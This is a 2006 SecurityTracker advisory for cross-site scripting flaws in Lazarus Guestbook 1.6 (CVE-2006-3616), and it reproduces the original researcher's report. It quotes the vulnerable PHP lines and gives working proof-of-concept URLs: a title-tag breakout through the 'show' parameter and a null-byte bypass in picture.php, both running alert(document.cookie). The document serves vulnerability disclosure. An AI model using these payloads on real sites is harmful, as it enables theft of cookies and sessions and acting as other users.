Lazarus Guestbook Input Validation Holes Permit Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1016486
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SecurityTracker URL: http://securitytracker.com/id?1016486
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CVE Reference: CVE-2006-3616
(Links to External Site)
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Updated: Jul 18 2008
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Original Entry Date: Jul 13 2006
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Exploit Included: Yes
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Version(s): 1.6 and prior versions
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Description: A vulnerability was reported in Lazarus Guestbook. A remote user can conduct cross-site scripting attacks.
The 'codes-english.php' script does not properly filter HTML code from user-supplied input in the 'show' parameter before displaying
the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting
code to be executed by the target user's browser. The code will originate from the site running the Lazarus Guestbook software
and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including
authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the
site, or take actions on the site acting as the target user.
A similar vulnerability exists in 'picture.php'. A demonstration
exploit URL is provided:
http://[target]/lazarusgb/picture.php?img=../img/home.gif%00%22%3E[XSS]
simo64[at]gmail[dot]com from
Moroccan Security Research Team reported this vulnerability.
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
Lazarus Guestbook software, access data recently submitted by the target user via web form to the site, or take actions on the site
acting as the target user.
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Solution: No solution was available at the time of this entry.
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Vendor URL: carbonize.co.uk/Lazarus/ (Links to External Site)
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Cause: Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: simo64@gmail.com
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Message History:
None.
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Source Message Contents
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Date: Wed, 12 Jul 2006 05:34:07 +0000
From: simo64@gmail.com
Subject: Lazarus Guestbook Cross Site Scripting Vulnerabilities
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Produce : Lazarus Guestbook
Website : http://carbonize.co.uk/Lazarus/
Version : <= 1.6
Problem : Cross Site Scripting
1)
The first probleme is in codes-english.php ,"show" parameter in lang/codes-english.php isn'
t properly sanitised
This can be exploited to execute arbitrary HTML and javascript code
Vulnerable code in lang/codes-english.php near line 4
1 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
2 <html>
3 <head>
4 <title><?php echo($_GET['show']); ?></title>
Exploit :
http://localhost/lazarusgb/lang/codes-english.php?show=%3C/title%3E[XSS]
http://localhost/lazarusgb/lang/codes-english.php?show=%3C/title%3E<script>alert(document.cooki
e);</script>
2)
the seconde probleme is in picture.php , the script verifiy fist if image file exists
after it display it ,
vulnerable code : in picture.php
********************************
24 if (!empty($_GET['img'])) {
26 if (file_exists("$GB_TMP/$_GET[img]")) {
27 $size = @GetImageSize("$GB_TMP/$_GET[img]");
28 $picture = "$GB_PG[base_url]/$GB_TMP/$_GET[img]";
29 }
.. ............
49 <td align="center" valign="middle">
50 <?php
51 if (!empty($_GET['img']) && is_array($size)) {
52 echo "<a href=\"javascript:window.close()\"><img src=\"$pi
cture\" width=\"$size[0]\" height=\"$size[1]\" border=\"0\"><
/a>\n";
53 }
54 ?>
55 </td>
****************
if magic_quote_gpc = OFF we can bypass this protection by specifing existing image file ( Exemple
: "img/home.gif") and using
a nullchar ( %00 )
POC : http://localhost/lazarusgb/picture.php?img=../img/home.gif%00[code]
file_exists("$GB_TMP/$_GET[img]") will return true and html code will be executed
Exploit:
http://localhost/lazarusgb/picture.php?img=../img/home.gif%00%22%3E[XSS]
http://localhost/lazarusgb/picture.php?img=../img/home.gif%00%22%3E<script>alert(document.c
ookie);</script>
Contact : simo64[at]gmail[dot]com
Moroccan Security Research Team
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